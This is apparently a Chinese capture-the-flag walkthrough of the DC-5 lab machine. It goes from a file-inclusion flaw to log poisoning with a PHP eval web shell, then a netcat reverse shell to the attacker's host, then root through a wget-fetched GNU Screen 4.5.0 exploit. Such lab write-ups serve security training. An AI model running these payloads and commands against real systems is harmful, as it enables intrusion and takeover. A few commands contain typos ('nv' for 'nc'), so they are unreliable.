靶機練習-DC-5
復現過程
攻擊機:kali 192.168.11.143
靶機:Linux IP自動獲取
攻擊機與靶機都使用net網絡連接,在同一網段下
環境配置:
1、Vulhub下載靶機,并導入vmware
2、網絡配置中選擇更改為橋接模式,橋接至kali所在網卡(這里是eth0)
3、重啟虛擬機
信息收集:
先進行主機發現
arp-scan -l

后面標識VMware的即為目標
先進行nmap端口掃描

80,111端口服務開啟
先訪問 http://192.168.8.243

界面的信息略過,發現在contact.php界面有留言功能

先嘗試下xss注入,沒什么結果
<scRipt>alert('Xss')</scriPt>

在嘗試這幾個聊天框的時候發現CopyRight的年份一直在變化。F5刷新幾次,仍在刷新說明和上傳了留言無關,是其中的copyright自己在變化。
返回路徑contactus,多次刷新,copyright并沒有發生變化。
說明問題出在thankyou.php中。

dirsearch掃一下目錄
dirsearch -u [http://192.168.8.243](http://192.168.8.243)

/images路徑 403,只有footer.php可以訪問。

同時刷新會產生變化,這一點與前面提交留言后,彈出的/thankyou.php路徑下的CopyRight一直變化是一致的。
可以猜測是頁面/thankyou.php 中存在文件包含,包含了頁面footer.php.
漏洞利用
先嘗試 payload file=/etc/passwd
既然可以讀取密碼文件,那也可以讀取日志文件,方便我們讀取木馬

footer.php界面出現了passwd數據,證明這里存在文件上傳漏洞
但目前沒有找到login界面,先上傳一句話木馬
<?php @eval($_POST['shell']);?>
返回200,注入已經成功了,但目前我們不知道其路徑,還不能利用

這里可以利用系統工作日志
從之前nmap上獲得了目標的中間件信息,網上搜到該版本的日志路徑

/var/log/nginx/access.log
傳入日志,發現之前的注入記錄,包含木馬在內都顯示了出來

phpinfo()界面

蟻劍連接木馬
URL為:
http://192.168.8.243/thankyou.php?file=/var/log/nginx/access.log

連接一句話木馬,獲得 www-data權限

提權
拿到普通用戶就要開始想辦法提權了
反彈shell
kali的IP為 192.168.8.245
1、在kali中開啟監聽
nv -lvvp 8888

2、在webshell中 開啟反向連接
nc -e /bin/bash 192.168.8.245 8888

3、連接成功,由此建立了kali至目標主機的長期連接

4、查找suid權限用戶,嘗試提權
find / -perm -4000 2>/dev/null
查找系統所有文件中擁有suid特殊權限的文件 -perm匹配權限4000.
錯誤信息返回至 /dev/null

5、在kali中另起控制臺,尋找能利用的點
searchsploit xxx
6、嘗試過后,screen 4.5.0有能夠利用的exp,是一個本地提權漏洞
searchsploit screen 4.5.0

GNU Screen是一款由GNU計劃開發的用于命令行終端切換的自由軟件。用戶可以通過該軟件同時連接多個本地或遠程的命令行會話,并在其間自由切換。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了統一的管理多個會話的界面和相應的功能。
7、上傳腳本文件
上傳41154.sh腳本文件到目標靶機;本地開啟8888端口,使用wget下載該腳本文件:
Kali
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

cat 41154.sh# 在哪個目錄運行該命令,就會列出哪個目錄的文件 python -m http.server 8888

目標主機
wget [http://192.168.8.245/41154.sh](http://192.168.8.245/41154.sh)
使用蟻劍wget

8、執行腳本文件
chmod 777 41154.sh ./41154.sh

文件編譯錯誤
9、報錯,經查驗 是這個exp文件有問題,按照區塊的EOF提示符拆分腳本。

(1)vi libhax.c

(2)vi rootshell.c

(3)vi run.sh

編譯文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

10.重新上傳
通過wget上傳三個文件

11、為run.sh賦予權限并運行,獲得root權限
chmod 777 run.sh ./run.sh whoami

12、root目錄下取得flag
cd /root ls

提權
文件包含漏洞產生的原因有 :
1.程序用include()等文件包含函數通過動態變量的范式引入需要包含的文件
2.用戶能夠控制該動態變量
任何引入外部文件的地方都有可能存在文件包含漏洞,要仔細觀察。
限制用戶的輸入是確保安全的前提。
根據泄露出的版本尋找對應版本的日志位置、漏洞。